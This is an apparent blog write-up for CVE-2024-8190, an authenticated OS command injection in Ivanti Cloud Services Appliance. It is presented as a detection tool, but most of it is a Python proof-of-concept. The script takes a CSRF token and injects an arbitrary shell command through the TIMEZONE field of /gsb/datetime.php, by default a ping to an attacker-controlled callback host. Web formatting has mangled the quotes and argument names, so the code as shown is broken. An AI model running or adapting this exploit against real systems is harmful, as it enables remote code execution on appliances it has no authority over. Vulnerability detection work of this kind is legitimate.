Detecting Invanti Authenticated Command Injection (CVE-2024–8190)
- #!/usr/bin/python3
- import argparse
- import re
- import requests
- import sys
- import urllib3
- from requests.auth import HTTPBasicAuth
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- def exploit(url, username, password, command):
- u = username
- p = password
- s = requests.Session()
- r = s.get(f”{url}/gsb/datetime.php”, auth=HTTPBasicAuth(u,p), verify=False)
- m = re.search(r”name=[‘\”]LDCSA_CSRF[‘\”]\s+value=[‘\”]([^’\”]+)[‘\”]”, r.text)
- if m:
- ldcsa = m.group(1)
- print(f”[+] Got LDCSA_CSRF value: {ldcsa}”)
- else:
- print(f”[-] Failed getting LDCSA_CRSF token”)
- sys.exit(0)
- payload = {
- “dateTimeFormSubmitted”: “1”,
- “TIMEZONE”: f”; `{command}` ;”,
- “CYEAR”: “2024”,
- “CMONTH”: “9”,
- “CDAY”: “13”,
- “CHOUR”: “12”,
- “CMIN”: “34”,
- “LDCSA_CSRF”: ldcsa,
- “SUBMIT_TIME”: “Save”
- }
- print(f”[*] Sending payload…”)
- r = s.post(f”{url}/gsb/datetime.php”, auth=HTTPBasicAuth(u,p), verify=False, data=payload)
- if __name__ == “__main__”:
- parser = argparse.ArgumentParser()
- parser.add_argument(‘-u’, ‘ — url’, help=’The base URL of the target’, required=True)
- parser.add_argument(‘ — username’, help=’The application username’, required=True)
- parser.add_argument(‘ — password’, help=’The application password’, required=True)
- parser.add_argument(‘ — attacker-host’, help=’Burp Collaborator / RequestBin / Interactsh / … hostname’, required=True)
- args = parser.parse_args()
- exploit(args.url, args.username, args.password, f”ping -c3 {args.attacker_host}”)
Description
Introduction
An OS command injection vulnerability in Ivanti Cloud Services Appliance versions 4.6 Patch 518 and before allows a remote authenticated attacker to obtain remote code execution. The attacker must have admin level privileges to exploit this vulnerability.
Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-8190
Detection Script Usage
kali@kali:/tmp$ python3 detection.py -h
usage: detection.py [-h] -u URL --username USERNAME --password PASSWORD --attacker-host ATTACKER_HOST
options:
-h, --help show this help message and exit
-u URL, --url URL The base URL of the target
--username USERNAME The application username
--password PASSWORD The application password
--attacker-host ATTACKER_HOST
Burp Collaborator / RequestBin / Interactsh / ... hostname
kali@kali:/tmp$
Detecting Vulnerable Targets
python3 detection.py -u http://ivanti.local --username admin --password password --attacker-host dm6v2rdhgtwsz.x.pipedream.net
Understanding detection script
The detection script works as follows:
- It accepts user arguments including the target URL, credentials for the application and the attacker host that must receive the ping probes if the target is vulnerable.
- Next, the script performs a login to the application
/gsb/datetime.php
and extracts the CSRF token from the response. - If that’s successful, a POST request is submitted to
/gsb/datetime.php
along with the payload in theTIMEZONE
parameter. - The injected command is
ping -c3 ATTACKER_HOST
and is injected to theTIMEZONE
parameter as follows:"TIMEZONE": f"; {command} ;"
. - If the target is vulnerable, the attacker-controlled host would receive 3 ping probes confirming of the vulnerability.